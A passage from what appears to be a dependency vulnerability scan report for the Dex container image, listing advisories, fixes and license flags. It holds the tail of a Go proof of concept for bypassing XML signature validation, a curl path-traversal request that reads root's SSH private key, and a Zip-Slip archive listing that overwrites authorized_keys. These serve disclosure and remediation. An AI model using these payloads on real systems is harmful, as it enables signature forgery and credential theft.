                existingRef := signedInfo.FindElement("./Reference")
                existingRef.CreateAttr("URI", "#dummy")

                originalEl := etree.NewElement("Root")
                originalEl.CreateAttr("ID", "target")
                originalEl.SetText("Original Content")

                sig1, _ := signingCtx.ConstructSignature(originalEl, true)
                ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()

                signedInfo.InsertChildAt(existingRef.Index(), ref1)

                c14n := signingCtx.Canonicalizer

                detachedSI := signedInfo.Copy()
                if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil {
                    detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace)
                }

                canonicalBytes, err := c14n.Canonicalize(detachedSI)
                if err != nil {
                    fmt.Println("c14n error:", err)
                    return
                }

                hash := signingCtx.Hash.New()
                hash.Write(canonicalBytes)
                digest := hash.Sum(nil)

                rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)
                if err != nil {
                    panic(err)
                }

                sigVal := sig.FindElement("./SignatureValue")
                sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))

                certStore := &dsig.MemoryX509CertificateStore{
                    Roots: []*x509.Certificate{cert},
                }
                valCtx := dsig.NewDefaultValidationContext(certStore)

                root.AddChild(sig)

                doc.SetRoot(root)
                str, _ := doc.WriteToString()
                fmt.Println("XML:")
                fmt.Println(str)

                validated, err := valCtx.Validate(root)
                if err != nil {
                    fmt.Println("validation failed:", err)
                } else {
                    fmt.Println("validation ok")
                    fmt.Println("validated text:", validated.Text())
                }
            }

## Remediation

Upgrade `github.com/russellhaering/goxmldsig` to version 1.6.0 or higher.

## References

- GitHub Commit

More about this vulnerability

## Uncaught Exception

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: github.com/go-jose/go-jose/v4
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/go-jose/go-jose/v4@v4.1.3

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/go-jose/go-jose/v4@v4.1.3
- Introduced through: github.com/dexidp/dex@* › github.com/go-jose/go-jose/v4@v4.1.3

## Overview

Affected versions of this package are vulnerable to Uncaught Exception in the `cipher.KeyUnwrap` function when decrypting a JSON Web Encryption (JWE) object with a key wrapping algorithm (ending in 'KW', except for 'A128GCMKW', 'A192GCMKW', and 'A256GCMKW') and the `encrypted_key` field is empty. An attacker can cause a panic and disrupt service by submitting a crafted JWE object with an empty `encrypted_key` field or by directly invoking `cipher.KeyUnwrap` with a ciphertext parameter less than 16 bytes long.

Note:

This is only exploitable if the list of accepted key algorithms includes key wrapping algorithms.

## Workaround

This vulnerability can be mitigated by prevalidating JWE objects to ensure the `encrypted_key` field is nonempty, or by excluding key wrapping algorithms from the list of accepted key algorithms.

## Remediation

Upgrade `github.com/go-jose/go-jose/v4` to version 4.1.4 or higher.

## References

- GitHub Advisory
- GitHub Commit

More about this vulnerability

## Insufficiently Protected Credentials

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: github.com/go-git/go-git/v5/plumbing/transport/http
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/go-git/go-git/v5/plumbing/transport/http@v5.16.4

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/go-git/go-git/v5/plumbing/transport/http@v5.16.4

## Overview

Affected versions of this package are vulnerable to Insufficiently Protected Credentials in the `advertisedReferences()` function. The headers - including Authorization headers - from an initial `/info/refs` request are forwarded to redirect targets. An attacker can obtain authentication credentials by controlling a redirect target, and those credentials may be reused on other endpoints or attempted against other repositories owned by the victim. This is only exploitable if the client interacts with untrusted or misconfigured remote servers, or uses HTTP (not HTTPS) connections.

## Remediation

Upgrade `github.com/go-git/go-git/v5/plumbing/transport/http` to version 5.18.0 or higher.

## References

- GitHub Advisory
- GitHub Commit

More about this vulnerability

## Incorrect Behavior Order: Validate Before Canonicalize

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: github.com/go-git/go-git/v5/plumbing/object
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/go-git/go-git/v5/plumbing/object@v5.16.4

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/go-git/go-git/v5/plumbing/object@v5.16.4

## Overview

Affected versions of this package are vulnerable to Incorrect Behavior Order: Validate Before Canonicalize in the parsing of Git objects with malformed or ambiguous `commit` or `tag` objects. An attacker can cause inconsistent interpretation of object metadata or signature validation by introducing specially crafted objects that are parsed differently than by upstream Git, potentially leading to the acceptance of commits with misleading or unintended metadata.

## Remediation

Upgrade `github.com/go-git/go-git/v5/plumbing/object` to version 5.19.0 or higher.

## References

- GitHub Advisory
- GitHub Commit

More about this vulnerability

## Uncaught Exception

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: github.com/aws/aws-sdk-go-v2/service/s3
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/aws/aws-sdk-go-v2/service/s3@v1.95.1

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/aws/aws-sdk-go-v2/service/s3@v1.95.1

## Overview

Affected versions of this package are vulnerable to Uncaught Exception via the `eventstream` decoder process. An attacker can cause the host process to terminate unexpectedly by sending a crafted EventStream response frame containing a header value type byte outside the valid range.

## Remediation

Upgrade `github.com/aws/aws-sdk-go-v2/service/s3` to version 1.97.3 or higher.

## References

- GitHub Advisory
- GitHub Release

More about this vulnerability

## Uncaught Exception

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream@v1.7.4

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream@v1.7.4

## Overview

Affected versions of this package are vulnerable to Uncaught Exception via the `eventstream` decoder process. An attacker can cause the host process to terminate unexpectedly by sending a crafted EventStream response frame containing a header value type byte outside the valid range.

## Remediation

Upgrade `github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream` to version 1.7.8 or higher.

## References

- GitHub Advisory
- GitHub Release

More about this vulnerability

## Improper Validation of Specified Quantity in Input

medium severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: zlib/zlib
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and zlib/zlib@1.3.1-r2

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › zlib/zlib@1.3.1-r2
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › zlib/zlib@1.3.1-r2
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › zlib/zlib@1.3.1-r2

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

zlib before 1.3.2 allows CPU consumption via crc32_combine64 and crc32_combine_gen64 because x2nmodp can do right shifts within a loop that has no termination condition.

## Remediation

Upgrade `Alpine:3.23` `zlib` to version 1.3.2-r0 or higher.

## References

- https://7asecurity.com/blog/2026/02/zlib-7asecurity-audit/
- https://github.com/madler/zlib/releases/tag/v1.3.2
- https://ostif.org/zlib-audit-complete/
- https://github.com/madler/zlib/issues/904
- https://7asecurity.com/reports/pentest-report-zlib-RC1.1.pdf

More about this vulnerability

## Uncaught Exception

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/dexidp/dex › /usr/local/bin/dex
- Package Manager: golang
- Vulnerable module: golang.org/x/net/http2
- Introduced through: github.com/dexidp/dex@* and golang.org/x/net/http2@v0.50.0

### Detailed paths

- Introduced through: github.com/dexidp/dex@* › golang.org/x/net/http2@v0.50.0

## Overview

golang.org/x/net/http2 is a work-in-progress HTTP/2 implementation for Go.

Affected versions of this package are vulnerable to Uncaught Exception due to missing nil check. An attacker can cause the server to panic and potentially disrupt service by sending specially crafted HTTP/2 frames with values between `0x0a` and `0x0f`.

## Remediation

Upgrade `golang.org/x/net/http2` to version 0.51.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue

More about this vulnerability

## Improper Check for Dropped Privileges

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh/agent
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh/agent@v0.47.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh/agent@v0.47.0

## Overview

Affected versions of this package are vulnerable to Improper Check for Dropped Privileges due to the omission of constraint extensions such as `restrict-destination-v00@openssh.com` when adding a key to a remote agent. An attacker can bypass intended key usage restrictions by forwarding keys without the associated constraints, enabling unrestricted use of the key on the remote host.

## Remediation

Upgrade `golang.org/x/crypto/ssh/agent` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Missing Authorization

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh/agent
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh/agent@v0.47.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh/agent@v0.47.0

## Overview

Affected versions of this package are vulnerable to Missing Authorization due to the `NewKeyring` function not enforcing the `ConfirmBeforeUse` constraint. An attacker can perform unauthorized signing operations by adding keys with constraints that are silently ignored.

## Remediation

Upgrade `golang.org/x/crypto/ssh/agent` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Allocation of Resources Without Limits or Throttling

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh@v0.47.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh@v0.47.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the public key parsers. An attacker can exhaust CPU resources by submitting crafted RSA or DSA public keys with excessively large parameters during signature verification. This can be triggered by unauthenticated clients during public key authentication.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Integer Overflow or Wraparound

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh@v0.47.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh@v0.47.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Integer Overflow or Wraparound in the payload size calculation within the `Write` process. An attacker can cause the process to enter an infinite loop and exhaust system resources by sending a single write operation with data larger than 4GB.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Missing Release of Resource after Effective Lifetime

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh@v0.47.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh@v0.47.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime through the handling of unsolicited global request responses, which can fill an internal buffer and block the connection's read loop. An attacker can cause a resource leak and prevent the release of blocked goroutines by sending unexpected responses.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Incorrect Authorization

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh@v0.47.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh@v0.47.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Incorrect Authorization. When an SSH server authentication callback returned PartialSuccessError with non-nil Permissions, those permissions were silently discarded, potentially dropping certificate restrictions such as force-command after a second factor succeeded. Returning non-nil Permissions with PartialSuccessError now results in a connection error.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Incorrect Authorization

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and golang.org/x/crypto/ssh@v0.47.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › golang.org/x/crypto/ssh@v0.47.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Incorrect Authorization due to improper enforcement of permissions in the `VerifiedPublicKeyCallback` process. An attacker can bypass source-address validation by passing a callback type other than public key.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/dexidp/dex › /usr/local/bin/dex
- Package Manager: golang
- Module: github.com/openbao/openbao/api/v2
- Introduced through: github.com/dexidp/dex@* and github.com/openbao/openbao/api/v2@v2.5.1

### Detailed paths

- Introduced through: github.com/dexidp/dex@* › github.com/openbao/openbao/api/v2@v2.5.1

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/vault/api/auth/userpass
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/vault/api/auth/userpass@v0.11.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/vault/api/auth/userpass@v0.11.0

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/vault/api/auth/aws
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/vault/api/auth/aws@v0.11.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/vault/api/auth/aws@v0.11.0

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/vault/api
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/vault/api@v1.22.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/vault/api@v1.22.0

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/serf/coordinate
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/serf/coordinate@v0.10.2

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/serf/coordinate@v0.10.2

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/dexidp/dex › /usr/local/bin/dex
- Package Manager: golang
- Module: github.com/hashicorp/hcl/v2
- Introduced through: github.com/dexidp/dex@* and github.com/hashicorp/hcl/v2@v2.18.1

### Detailed paths

- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl/v2@v2.18.1
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl/v2/ext/customdecode@v2.18.1
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl/v2/ext/tryfunc@v2.18.1
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl/v2/gohcl@v2.18.1
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl/v2/hclparse@v2.18.1
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl/v2/hclsyntax@v2.18.1
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl/v2/hclwrite@v2.18.1
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl/v2/json@v2.18.1

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/hcl
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/hcl@v1.0.1-vault-7

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/hcl@v1.0.1-vault-7
- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/hcl/hcl/token@v1.0.1-vault-7
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl@v1.0.1-vault-7
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/hcl/hcl/token@v1.0.1-vault-7

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/golang-lru/simplelru
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/golang-lru/simplelru@v1.0.2

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/golang-lru/simplelru@v1.0.2

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-uuid
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/go-uuid@v1.0.3

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/go-uuid@v1.0.3

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-sockaddr
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/go-sockaddr@v1.0.7

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/go-sockaddr@v1.0.7
- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/go-sockaddr/template@v1.0.7
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/go-sockaddr@v1.0.7

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-secure-stdlib/strutil
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/go-secure-stdlib/strutil@v0.1.2

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/go-secure-stdlib/strutil@v0.1.2

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-secure-stdlib/parseutil
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/go-secure-stdlib/parseutil@v0.2.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/go-secure-stdlib/parseutil@v0.2.0
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/go-secure-stdlib/parseutil@v0.2.0

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-secure-stdlib/awsutil
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/go-secure-stdlib/awsutil@v0.3.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/go-secure-stdlib/awsutil@v0.3.0

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-rootcerts
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/go-rootcerts@v1.0.2

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/go-rootcerts@v1.0.2

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-retryablehttp
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/go-retryablehttp@v0.7.8

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/go-retryablehttp@v0.7.8
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/go-retryablehttp@v0.7.8

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-multierror
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/go-multierror@v1.1.1

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/go-multierror@v1.1.1

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-immutable-radix
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/go-immutable-radix@v1.3.1

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/go-immutable-radix@v1.3.1

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/go-cleanhttp
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/go-cleanhttp@v0.5.2

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/go-cleanhttp@v0.5.2
- Introduced through: github.com/dexidp/dex@* › github.com/hashicorp/go-cleanhttp@v0.5.2

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/errwrap
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/errwrap@v1.1.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/errwrap@v1.1.0

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/hashicorp/consul/api
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/hashicorp/consul/api@v1.33.2

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/hashicorp/consul/api@v1.33.2

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Module: github.com/gosimple/slug
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/gosimple/slug@v1.15.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/gosimple/slug@v1.15.0

MPL-2.0 license

More about this vulnerability

## MPL-2.0 license

medium severity

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/dexidp/dex › /usr/local/bin/dex
- Package Manager: golang
- Module: github.com/go-sql-driver/mysql
- Introduced through: github.com/dexidp/dex@* and github.com/go-sql-driver/mysql@v1.9.3

### Detailed paths

- Introduced through: github.com/dexidp/dex@* › github.com/go-sql-driver/mysql@v1.9.3

MPL-2.0 license

More about this vulnerability

## Directory Traversal

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: github.com/go-git/go-git/v5/storage/filesystem/dotgit
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/go-git/go-git/v5/storage/filesystem/dotgit@v5.16.4

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/go-git/go-git/v5/storage/filesystem/dotgit@v5.16.4

## Overview

Affected versions of this package are vulnerable to Directory Traversal due to improper path validation in the repository checkout process. An attacker can modify files outside the intended target directory, including `.git` directories, by supplying a maliciously crafted repository payload. This is only exploitable if the repository is cloned or checked out from untrusted sources and the `.git` directory is stored within the same filesystem as the worktree, particularly when submodules are present.

## Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

`st` is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the `public` route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

    curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note `%2e` is the URL encoded version of `.` (dot).

- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`.

One way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:

    2018-04-15 22:04:29 .....           19           19  good.txt
            2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

## Remediation

Upgrade `github.com/go-git/go-git/v5/storage/filesystem/dotgit` to version 5.19.1, 6.0.0-alpha.4 or higher.

## References

- GitHub Advisory
- GitHub Commit

More about this vulnerability

## Improper Validation of Integrity Check Value

medium severity
Exploit: Not Defined

